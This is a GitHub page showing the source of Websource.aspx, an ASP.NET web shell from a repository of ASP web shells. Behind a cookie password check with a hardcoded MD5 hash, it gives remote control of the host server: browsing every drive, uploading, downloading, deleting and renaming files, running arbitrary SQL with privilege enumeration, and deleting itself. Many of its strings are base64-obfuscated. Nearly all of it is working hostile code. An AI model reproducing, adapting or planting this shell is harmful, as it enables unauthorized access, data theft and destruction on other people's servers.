forked from mr-solo007/Asp-Web-Shells
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathWebsource.aspx
1312 lines (1282 loc) · 50.6 KB
/
Websource.aspx
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<%@ Page Language="C#" Debug="false" Trace="false" ValidateRequest="false" EnableViewStateMac="false" EnableViewState="true" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.IO.Compression" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.Data" %>
<%@ Import Namespace="System.Data.OleDb" %>
<%@ Import Namespace="System.Data.Common" %>
<%@ Import Namespace="System.Data.SqlClient" %>
<%@ Import Namespace="System.Management" %>
<%@ Import Namespace="Microsoft.Win32" %>
<%@ Import Namespace="System.Net" %>
<%@ Import Namespace="System.Net.Sockets" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<%@ Import Namespace="System.DirectoryServices" %>
<%@ Import Namespace="System.ServiceProcess" %>
<%@ Import Namespace="System.Text.RegularExpressions" %>
<%@ Import Namespace="System.Security" %>
<%@ Import Namespace="System.Security.Permissions" %>
<%@ Import Namespace="System.Threading" %>
<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A" %>
<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<script type="text/javascript">
function decode_inputs() {
var getText = document.getElementById('B_TB_CmdArg').value;
var getText2 = document.getElementById('B_TB_CmdPath').value;
document.getElementById('B_TB_CmdArg').value = atob(getText);
document.getElementById('B_TB_CmdPath').value = atob(getText2);
}
window.onload = decode_inputs;
function base64_encode() {
var getText = document.getElementById('B_TB_CmdArg').value;
var getText2 = document.getElementById('B_TB_CmdPath').value;
var base64_encode = btoa(getText);
var base64_encode2 = btoa(getText2);
document.getElementById('B_TB_CmdArg').value = base64_encode;
document.getElementById('B_TB_CmdPath').value = base64_encode2;
}
</script>
<script runat="server">
public static string Base64Encode(string plainText)
{
var plainTextBytes = System.Text.Encoding.UTF8.GetBytes(plainText);
return System.Convert.ToBase64String(plainTextBytes);
}
public static string Base64Decode(string base64EncodedData)
{
var base64EncodedBytes = System.Convert.FromBase64String(base64EncodedData);
return System.Text.Encoding.UTF8.GetString(base64EncodedBytes);
}
public string Version = Base64Decode("SGVscCBWaWV3ZXI=");
public string Password = "4a01e14152aeddcac536e01319033bf4";
private string DomainUserName = Base64Decode("YWRtaW5pc3RyYXRvcg==");
private int CssC = 1;
private DbConnection conn = null;
private DbCommand comm = null;
protected void Page_Load(object sender, EventArgs e)
{
JscriptSender(this);
if (!B_CheckLogin()) { return; }
if (IsPostBack)
{
zcg_GetDriver();
zcg_SetHeaderInfo();
string B_Target = Request[Base64Decode("X19FVkVOVFRBUkdFVA==")];
string B_Path = Request[Base64Decode("X19GaWxl")];
if (B_Target != "")
{
try
{
switch (B_Target)
{
case "Blstdir":
B_File(B_FromBase64(B_Path));
break;
case "bdldir":
bdldir(B_FromBase64(B_Path));
break;
case "bcrtdir":
B_CreateDir(B_Path);
break;
case "bdlf":
bdlf(B_FromBase64(B_Path));
break;
case "bdelf":
bdelf(B_Path);
break;
case "bkme":
bkme();
break;
}
if (B_Target.StartsWith(Base64Decode("emNnX1JlbmFtZQ==")))
{
zcg_Rename(B_FromBase64(B_Target.Replace(Base64Decode("emNnX1JlbmFtZQ=="), "")), B_Path);
}
else if (B_Target.StartsWith(Base64Decode("Ql9DRmlsZQ==")))
{
B_CopyFile(B_FromBase64(B_Target.Replace(Base64Decode("Ql9DRmlsZQ=="), "")), B_Path);
}
}
catch (Exception ex) { zcg_ShowError(ex); }
}
}
else { B_Main(); }
}
protected void DecodeDB(object sender, EventArgs e) {
}
private void Hide_Div()
{
B_D_File.Visible = false;
B_D_Cmd.Visible = false;
B_D_Data.Visible = false;
}
private bool B_CheckLogin()
{
if (Request.Cookies[Version] == null)
{
B_Login();
return false;
}
else
{
if (Request.Cookies[Version].Value != Password)
{
B_Login();
return false;
}
else
{
return true;
}
}
}
private void B_Login()
{
B_D_Login.Visible = true;
B_D_Content.Visible = false;
}
protected void B_B_Logout_Click(object sender, EventArgs e)
{
Session.Abandon();
Response.Cookies.Add(new HttpCookie(Version, null));
B_Login();
}
private void B_Main()
{
zcg_SetHeaderInfo();
zcg_GetDriver();
if (B_TB_Path.Value == "")
{
B_TB_Path.Value = B_PathBuild(Server.MapPath("."));
}
B_File(B_TB_Path.Value);
}
private void zcg_SetHeaderInfo()
{
B_D_Content.Visible = true;
B_D_Login.Visible = false;
B_bkme.Attributes["onClick"] = Base64Decode("aWYoY29uZmlybSgnT0s/Jykpe0JfUG9zdEJhY2soJ0JfS2lsbE1lJywnJyk7fTs=");
B_Span_Sname.InnerHtml = Request.ServerVariables["LOCAL_ADDR"] + ":" + Request.ServerVariables["SERVER_PORT"] + "(" + Request.ServerVariables["SERVER_NAME"] + ")" + zcg_CheckPermission();
B_Span_FrameVersion.InnerHtml = Base64Decode("RnJhbWV3b3JrIFZlciA6IA==") + Environment.Version.ToString();
}
private string zcg_CheckPermission()
{
string s = Base64Decode("Jm5ic3A7Jm5ic3A7SG9zdCBUcnVzdCBMZXZlbDombmJzcDsmbmJzcDs8c3BhbiBzdHlsZT0nY29sb3I6cmVkOyc+ezB9PC9zcGFuPiZuYnNwOyZuYnNwO0lzRnVsbC1UcnVzdDombmJzcDsmbmJzcDs8c3BhbiBzdHlsZT0nY29sb3I6cmVkOyc+ezF9PC9zcGFuPiZuYnNwOyZuYnNwO1VzZXI6Jm5ic3AmbmJzcDs8c3BhbiBzdHlsZT0nY29sb3I6cmVkOyc+ezJ9PC9zcGFuPg==");
string u = zcg_GetUserName();
try { (new PermissionSet(PermissionState.Unrestricted)).Demand(); return string.Format(s, GetTrustLevel(), true, u); }
catch { return string.Format(s, GetTrustLevel(), false, u); }
}
private string zcg_GetUserName()
{
try { return System.Security.Principal.WindowsIdentity.GetCurrent().Name; }
catch { return Base64Decode("VW5rbm93biAtLSBObyBwZXJtaXNzaW9u"); }
}
private string GetTrustLevel()
{
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.Unrestricted).Demand(); return "Full"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.High).Demand(); return "High"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.Medium).Demand(); return "Medium"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.Low).Demand(); return "Low"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.Minimal).Demand(); return "Minimal"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.None).Demand(); return "None"; }
catch { }
return "Unknown";
}
private string GetTrustLevel2()
{
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.Unrestricted).Demand(); return "Full"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.High).Demand(); return "High"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.Medium).Demand(); return "Medium"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.Low).Demand(); return "Low"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.Minimal).Demand(); return "Minimal"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.None).Demand(); return "None"; }
catch { }
return "Unknown";
}
private string GetTrustLevel1()
{
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.Unrestricted).Demand(); return "Full"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.High).Demand(); return "High"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.Medium).Demand(); return "Medium"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.Low).Demand(); return "Low"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.Minimal).Demand(); return "Minimal"; }
catch { }
try { new AspNetHostingPermission(AspNetHostingPermissionLevel.None).Demand(); return "None"; }
catch { }
return "Unknown";
}
private void zcg_GetDriver()
{
string[] drivers = null;
try { drivers = Directory.GetLogicalDrives(); }
catch
{
string drs = "";
for (int i = 0x41; i < 0x5b; i++)
{
string ds = new string((new char[] { (char)i, ':', '\\' }));
try
{
DriveInfo di = new DriveInfo(ds);
if (di.DriveType != DriveType.NoRootDirectory) { drs += ds + "|"; }
}
catch { }
finally { drivers = drs.Split(new char[] { '|' }, (StringSplitOptions)1); }
}
}
B_Span_Drv.InnerHtml = "";
for (int i = 0; i < drivers.Length; i++)
{
B_Span_Drv.InnerHtml += String.Format("<a href=\"javascript:B_PostBack('Blstdir','{0}')\">{1}</a> | ", B_ToBase64(drivers[i]), B_Drvbuild(drivers[i]));
}
}
private string B_PathBuild(string path)
{
if (!path.EndsWith(@"\")) { path += @"\"; }
return path;
}
private string B_Drvbuild(string instr)
{
DriveInfo di = new DriveInfo(instr);
return String.Format("{0}({1}:)", di.DriveType, instr[0]);
}
private string B_ToBase64(string instr)
{
byte[] tmp = Encoding.UTF8.GetBytes(instr);
return Convert.ToBase64String(tmp);
}
private string B_FromBase64(string instr)
{
byte[] tmp = Convert.FromBase64String(instr);
return Encoding.UTF8.GetString(tmp);
}
private TableRow zcg_GetTableRow()
{
TableRow tr = new TableRow();
zcg_SetControlAttribute(tr);
return tr;
}
private void zcg_SetControlAttribute(WebControl ctl)
{
string bg = B_Css();
ctl.Attributes["onmouseover"] = "this.className='focus';";
ctl.CssClass = bg;
ctl.Attributes["onmouseout"] = "this.className='" + bg + "';";
}
private void B_File(string path)
{
try
{
Hide_Div();
B_D_File.Visible = true;
B_H2_Title.InnerText = "File Manager >>";
B_TB_Path.Value = B_PathBuild(path);
path = (path.EndsWith("\\") && (!path.EndsWith(":\\"))) ? path.TrimEnd('\\') : path;
DirectoryInfo B_dir = new DirectoryInfo(path);
try
{
if (Directory.GetParent(path) != null)
{
TableRow p = zcg_GetTableRow();
for (int i = 1; i < 6; i++)
{
TableCell pc = new TableCell();
if (i == 1)
{
pc.Width = Unit.Parse("2%");
pc.Text = "0";
}
if (i == 2)
{
pc.Text = "<a href=\"javascript:B_PostBack('Blstdir','" + B_ToBase64(Directory.GetParent(path).ToString()) + "')\">Parent Directory</a>";
}
p.Cells.Add(pc);
B_Table_File.Rows.Add(p);
}
}
}
catch { }
try
{
int dir_c = 0;
foreach (DirectoryInfo B_folder in B_dir.GetDirectories())
{
dir_c++;
TableCell tc = new TableCell();
tc.Width = Unit.Parse("2%");
tc.Text = "0";
TableRow tr = zcg_GetTableRow();
tr.Cells.Add(tc);
TableCell dirname = new TableCell();
dirname.Text = "<a href=\"javascript:B_PostBack('Blstdir','" + B_ToBase64(B_TB_Path.Value + B_folder.Name) + "')\">" + B_folder.Name + "</a>";
tr.Cells.Add(dirname);
TableCell dirtime = new TableCell();
dirtime.Text = B_folder.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
tr.Cells.Add(dirtime);
B_Table_File.Rows.Add(tr);
TableCell dirsize = new TableCell();
dirsize.Text = "--";
tr.Cells.Add(dirsize);
B_Table_File.Rows.Add(tr);
TableCell diraction = new TableCell();
diraction.Text = "<a href=\"javascript:if(confirm('Are you sure will delete it ?\\n\\nIf non-empty directory,will be delete all the files.')){B_PostBack('bdldir','" + B_ToBase64(B_TB_Path.Value + B_folder.Name) + "')};\">Del</a> | <a href='#' onclick=\"var filename=prompt('new folder name:','" + B_folder.Name.Replace("'", "\\'") + "');if(filename){B_PostBack('zcg_Rename" + B_ToBase64(B_TB_Path.Value + B_folder.Name) + "',filename);} \">Rename</a>";
tr.Cells.Add(diraction);
B_Table_File.Rows.Add(tr);
}
TableRow intr = new TableRow();
intr.Attributes["style"] = "border-top:1px solid #fff;border-bottom:1px solid #ddd;";
intr.Attributes["bgcolor"] = "#dddddd";
TableCell intc = new TableCell();
intc.Attributes["colspan"] = "6";
intc.Attributes["height"] = "5";
intr.Cells.Add(intc);
B_Table_File.Rows.Add(intr);
int file_c = 0;
foreach (FileInfo B_Files in B_dir.GetFiles())
{
file_c++;
TableRow tr = zcg_GetTableRow();
TableCell tc = new TableCell();
tc.Width = Unit.Parse("2%");
tc.Text = "<input type=\"checkbox\" value=\"0\" name=\"" + B_ToBase64(B_Files.Name) + "\">";
tr.Cells.Add(tc);
TableCell filename = new TableCell();
if (B_Files.FullName.StartsWith(Request.PhysicalApplicationPath))
{
string url = Request.Url.ToString();
filename.Text = "<a href=\"" + B_Files.FullName.Replace(Request.PhysicalApplicationPath, url.Substring(0, url.IndexOf('/', 8) + 1)).Replace("\\", "/") + "\" target=\"_blank\">" + B_Files.Name + "</a>";
}
else
{
filename.Text = B_Files.Name;
}
TableCell filetime = new TableCell();
filetime.Text = B_Files.LastWriteTimeUtc.ToString("yyyy-MM-dd hh:mm:ss");
TableCell filesize = new TableCell();
filesize.Text = B_FileSize(B_Files.Length);
TableCell action = new TableCell();
action.Text = "<a href=\"#\" onclick=\"B_PostBack('bdlf','" + B_ToBase64(B_TB_Path.Value + B_Files.Name) + "')\">Down</a> | <a href='#' onclick=\"var filename=prompt('new path(full path):','" + B_TB_Path.Value.Replace(@"\", @"\\") + B_Files.Name.Replace("'", "\\'") + "');if(filename){B_PostBack('B_CFile" + B_ToBase64(B_TB_Path.Value + B_Files.Name) + "',filename);} \">Copy</a> | <a href='#' onclick=\"var filename=prompt('new file name(full path):','" + B_Files.Name.Replace("'", "\\'") + "');if(filename){B_PostBack('zcg_Rename" + B_ToBase64(B_TB_Path.Value + B_Files.Name) + "',filename);} \">Rename</a> ";
tr.Cells.Add(filename);
tr.Cells.Add(filetime);
tr.Cells.Add(filesize);
tr.Cells.Add(action);
B_Table_File.Rows.Add(tr);
}
TableRow cktr = zcg_GetTableRow();
for (int i = 1; i < 4; i++)
{
TableCell cktd = new TableCell();
if (i == 1)
{
cktd.Text = "<input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].type=='checkbox'&&ck[i].name!='chkall'){ck[i].checked=forms[0].chkall.checked;}}\"/>";
}
if (i == 2)
{
cktd.Text = "<a href=\"#\" Onclick=\"var d_file='';var ck=document.getElementsByTagName('input');for(var i=0;i<ck.length-1;i++){if(ck[i].checked&&ck[i].name!='chkall'){d_file+=ck[i].name+',';}};if(d_file==null || d_file==''){ return;} else {if(confirm('Are you sure delete the files ?')){B_PostBack('bdelf',d_file)};}\">Delete selected</a>";
}
if (i == 3)
{
cktd.ColumnSpan = 4;
cktd.Style.Add("text-align", "right");
cktd.Text = dir_c + " directories/ " + file_c + " files";
}
cktr.Cells.Add(cktd);
}
B_Table_File.Rows.Add(cktr);
}
catch (Exception err)
{
zcg_ShowError(err);
}
}
catch (Exception ex) { zcg_ShowError(ex); }
}
private string B_Css()
{
CssC++;
if (CssC % 2 == 0)
{
return "alt1";
}
else
{
return "alt2";
}
}
private void bdldir(string dirstr)
{
try
{
Directory.Delete(dirstr, true);
B_Msg("OK");
}
catch (Exception error)
{
zcg_ShowError(error);
}
B_File(Directory.GetParent(dirstr).ToString());
}
private void bdldir1(string dirstr)
{
try
{
Directory.Delete(dirstr, true);
B_Msg("OK");
}
catch (Exception error)
{
zcg_ShowError(error);
}
B_File(Directory.GetParent(dirstr).ToString());
}
private void zcg_Rename(string source, string dire)
{
try
{
dire = Path.Combine(B_TB_Path.Value, dire);
Directory.Move(source, dire);
B_Msg("OK");
}
catch (Exception error)
{
B_Msg(error.Message);
}
B_File(B_TB_Path.Value);
}
private void B_CopyFile(string spath, string dpath)
{
try
{
File.Copy(spath, dpath);
B_Msg("OK");
}
catch (Exception error)
{
zcg_ShowError(error);
}
B_File(B_TB_Path.Value);
}
private void B_CreateDir(string path)
{
try
{
Directory.CreateDirectory(B_TB_Path.Value + path);
B_Msg("OK");
}
catch (Exception error)
{
zcg_ShowError(error);
}
B_File(B_TB_Path.Value);
}
private void B_CreateDir2(string path)
{
try
{
Directory.CreateDirectory(B_TB_Path.Value + path);
B_Msg("OK");
}
catch (Exception error)
{
zcg_ShowError(error);
}
B_File(B_TB_Path.Value);
}
private void bdlf(string path)
{
FileStream fs = null;
byte[] buffer = new byte[0x1000];
int count = 0;
try
{
FileInfo fi = new FileInfo(path);
fs = fi.OpenRead();
Response.Clear();
Response.ClearHeaders();
Response.Buffer = false;
this.EnableViewState = false;
Response.AddHeader("Content-Disposition", "attachment;filename=" + HttpUtility.UrlEncode(fi.Name, System.Text.Encoding.UTF8));
Response.AddHeader("Content-Length", fi.Length.ToString());
Response.ContentType = "application/octet-stream";
count = fs.Read(buffer, 0, 0x1000);
while (count > 0)
{
Response.OutputStream.Write(buffer, 0, count);
Response.Flush();
count = fs.Read(buffer, 0, 0x1000);
}
Page.Response.Flush();
Response.End();
}
catch (Exception ex) { zcg_ShowError(ex); }
finally { if (fs != null) { fs.Close(); } }
}
private void bdelf(string path)
{
try
{
string[] mydata = path.Split(',');
for (int i = 0; i < mydata.Length - 1; i++)
{
File.Delete(B_TB_Path.Value + B_FromBase64(mydata[i]));
}
B_Msg("OK");
}
catch (Exception error)
{
zcg_ShowError(error);
}
B_File(B_TB_Path.Value);
}
private void bdelf1(string path)
{
try
{
string[] mydata = path.Split(',');
for (int i = 0; i < mydata.Length - 1; i++)
{
File.Delete(B_TB_Path.Value + B_FromBase64(mydata[i]));
}
B_Msg("OK");
}
catch (Exception error)
{
zcg_ShowError(error);
}
B_File(B_TB_Path.Value);
}
private void bkme()
{
try
{
File.Delete(Request.PhysicalPath);
Response.Redirect("");
}
catch (Exception error)
{
zcg_ShowError(error);
}
}
private String B_FileSize(Int64 fileSize)
{
if (fileSize < 0)
{
throw new ArgumentOutOfRangeException("fileSize");
}
else if (fileSize >= 1024 * 1024 * 1024)
{
return string.Format("{0:########0.00} G", ((Double)fileSize) / (1024 * 1024 * 1024));
}
else if (fileSize >= 1024 * 1024)
{
return string.Format("{0:####0.00} M", ((Double)fileSize) / (1024 * 1024));
}
else if (fileSize >= 1024)
{
return string.Format("{0:####0.00} K", ((Double)fileSize) / 1024);
}
else
{
return string.Format("{0} B", fileSize);
}
}
private DataTable zcg_WmiDataTable(string @namespace, string query)
{
ManagementObjectSearcher QS = new ManagementObjectSearcher(@namespace, query);
return zcg_WmiSearcherToDataTable(QS);
}
private DataTable zcg_WmiSearcherToDataTable(ManagementObjectSearcher QS)
{
DataTable dt = new DataTable();
foreach (ManagementObject m in QS.Get())
{
DataRow dr = dt.NewRow();
PropertyDataCollection.PropertyDataEnumerator oEnum;
oEnum = (m.Properties.GetEnumerator() as PropertyDataCollection.PropertyDataEnumerator);
while (oEnum.MoveNext())
{
PropertyData prop = (PropertyData)oEnum.Current;
if (dt.Columns.IndexOf(prop.Name) == -1)
{
dt.Columns.Add(prop.Name);
dt.Columns[dt.Columns.Count - 1].DefaultValue = "";
}
if (m[prop.Name] != null)
{
dr[prop.Name] = m[prop.Name].ToString();
}
else
{
dr[prop.Name] = "";
}
}
dt.Rows.Add(dr);
}
return dt;
}
private void B_DataB()
{
Hide_Div();
B_D_Data.Visible = true;
B_D_DBPanel.Visible = false;
B_H2_Title.InnerText = "DataB >>";
}
private void OpenConnection()
{
conn = new SqlConnection();
comm = new SqlCommand();
if (conn.State == ConnectionState.Closed)
{
try
{
conn.ConnectionString = B_TB_ConnStr.Text;
comm.Connection = conn;
conn.Open();
if (B_List_DB.SelectedItem != null && B_List_DB.SelectedItem.Value != "")
{
conn.ChangeDatabase(B_List_DB.SelectedItem.Value.ToString());
}
}
catch (Exception error)
{
zcg_ShowError(error);
}
}
}
private void CloseConnection()
{
if (conn.State == ConnectionState.Open)
{
conn.Close();
}
conn.Dispose();
comm.Dispose();
}
private DataTable B_DataTable(string sqlstr)
{
DbDataAdapter da = null;
da = new SqlDataAdapter();
DataTable dtable = new DataTable();
try
{
OpenConnection();
comm.CommandType = CommandType.Text;
comm.CommandText = sqlstr;
da.SelectCommand = comm;
da.Fill(dtable);
}
finally
{
CloseConnection();
}
return dtable;
}
private bool B_ExecSql(string instr)
{
try
{
OpenConnection();
comm.CommandType = CommandType.Text;
comm.CommandText = instr;
comm.ExecuteNonQuery();
return true;
}
catch (Exception e)
{
zcg_ShowError(e);
return false;
}
}
private void B_ExecBind()
{
try
{
DataTable dt = B_DataTable(B_Textarea_Query.InnerText);
if (dt.Columns.Count > 0)
{
B_DataGrid.PreRender += new EventHandler(DataGrid_PreRender);
B_DataGrid.DataSource = dt;
B_DataGrid.DataBind();
for (int i = 0; i < B_DataGrid.Items.Count; i++)
{
zcg_SetControlAttribute(B_DataGrid.Items[i]);
}
}
else
{
B_DataGrid.DataSource = null;
B_DataGrid.DataBind();
}
B_DataGrid.Visible = true;
}
catch (Exception e)
{
zcg_ShowError(e);
B_DataGrid.Visible = false;
}
}
private void B_DataBind()
{
try
{
if (B_List_DB.SelectedItem.Value == "")
{
B_DataGrid.DataSource = null;
B_DataGrid.DataBind();
return;
}
OpenConnection();
DataTable tables = new DataTable();
if (B_List_DB.SelectedItem.Value != "")
{
conn.ChangeDatabase(B_List_DB.SelectedItem.Text);
}
tables = conn.GetSchema("Tables");
tables.Columns.Remove("TABLE_CATALOG");
tables.Columns.Remove("TABLE_SCHEMA");
B_DataGrid.PreRender += new EventHandler(DataGrid_PreRender);
B_DataGrid.DataSource = tables;
B_DataGrid.DataBind();
for (int i = 0; i < B_DataGrid.Items.Count; i++)
{
string tname = B_DataGrid.Items[i].Cells[0].Text;
zcg_SetControlAttribute(B_DataGrid.Items[i]);
B_DataGrid.Items[i].Attributes["onclick"] = "ASPX.B_Textarea_Query.value='select * from " + tname + "';";
}
B_DataGrid.Visible = true;
}
catch (Exception e)
{
zcg_ShowError(e);
B_DataGrid.Visible = false;
}
}
protected void DataGrid_PreRender(object sender, EventArgs e)
{
DataGrid d = (DataGrid)sender;
foreach (DataGridItem item in d.Items)
{
foreach (TableCell t in item.Cells)
{
t.Text = t.Text.Replace("<", "<").Replace(">", ">");
}
}
}
private void B_Newconn()
{
B_D_DBPanel.Visible = true;
try
{
B_Textarea_Query.InnerHtml = "";
if (B_List_Connstr.SelectedItem.Text == "MSSQL")
{
B_DataGrid.Visible = false;
B_D_Dblist.Visible = true;
B_D_Dbinfo.Visible = true;
OpenConnection();
string cdb = conn.Database;
string verstr = B_DataTable(Base64Decode("U0VMRUNUIEBAVkVSU0lPTg==")).Rows[0][0].ToString();
DataTable dbs = B_DataTable(Base64Decode("U0VMRUNUIG5hbWUgRlJPTSBtYXN0ZXIuLnN5c2RhdGFiYXNlcw=="));
DataTable rol = B_DataTable(Base64Decode("U0VMRUNUIElTX1NSVlJPTEVNRU1CRVIoJ3N5c2FkbWluJyk="));
DataTable owner = B_DataTable(Base64Decode("U0VMRUNUIElTX01FTUJFUignZGJfb3duZXInKQ=="));
string dbo = "";
if (owner.Rows[0][0].ToString() == "1")
{
dbo = "db_owner";
}
else
{
dbo = "public";
}
if (rol.Rows[0][0].ToString() == "1")
{
dbo = "<font color=blue>sa</font>";
}
B_List_Exec.SelectedIndex = 0;
B_List_DB.Items.Clear();
for (int i = 0; i < dbs.Rows.Count; i++)
{
B_List_DB.Items.Add(dbs.Rows[i][0].ToString());
if (cdb == dbs.Rows[i][0].ToString())
{
B_List_DB.Items[i].Selected = true;
}
}
B_D_Dbinfo.InnerHtml = "<p><font color=red>Version</font> : <i><b>" + verstr + Base64Decode("PC9iPjwvaT48L3A+PHA+PGZvbnQgY29sb3I9cmVkPlNydlJvbGVNZW1iZXI8L2ZvbnQ+IDogPGk+PGI+") + dbo + "</b></i></p>";
}
else
{
B_D_Dblist.Visible = false;
B_D_Dbinfo.Visible = false;
}
B_DataBind();
}
catch (Exception e)
{
zcg_ShowError(e);
B_D_DBPanel.Visible = false;
}
}
public static void JscriptSender(System.Web.UI.Page page)
{
page.RegisterHiddenField("__EVENTTARGET", "");
page.RegisterHiddenField("__FILE", "");
string s = @"<script language=Javascript>";
s += @"function B_PostBack(eventTarget,eventArgument)";
s += @"{";
s += @"var theform=document.forms[0];";
s += @"theform.__EVENTTARGET.value=eventTarget;";
s += @"theform.__FILE.value=eventArgument;";
s += @"theform.submit();theform.__EVENTTARGET.value="""";theform.__FILE.value=""""";
s += @"} ";
s += @"</scr" + "ipt>";
page.RegisterStartupScript("", s);
}
private void B_Msg(string instr)
{
B_D_Msg.Visible = true;
B_D_Msg.InnerHtml = "<pre><xmp>" + instr + "</xmp></pre>";
}
private void zcg_ShowError(Exception ex)
{
if (ex.InnerException == null) { B_Msg(ex.Message); } else { B_Msg(ex.ToString()); }
}
protected void B_B_Login_Click(object sender, EventArgs e)
{
string MD5Pass = FormsAuthentication.HashPasswordForStoringInConfigFile(B_TB_Login.Text, "MD5").ToLower();
if (MD5Pass == Password)
{
Response.Cookies.Add(new HttpCookie(Version, Password));
B_D_Login.Visible = false;
B_Main();
}
else
{
B_Login();
}
}
protected void B_B_File_Click(object sender, EventArgs e)
{
B_File(Server.MapPath("."));
}
protected void B_B_Upload_Click(object sender, EventArgs e)
{
string uppath = B_TB_Path.Value;
uppath = B_PathBuild(uppath);
try
{
if (B_Lable_File.PostedFile.FileName == "") { B_Msg("No File!"); }
else { B_Lable_File.PostedFile.SaveAs(uppath + Path.GetFileName(B_Lable_File.Value)); B_Msg("OK"); }
}
catch (Exception error)
{
zcg_ShowError(error);
}
B_File(B_TB_Path.Value);
}
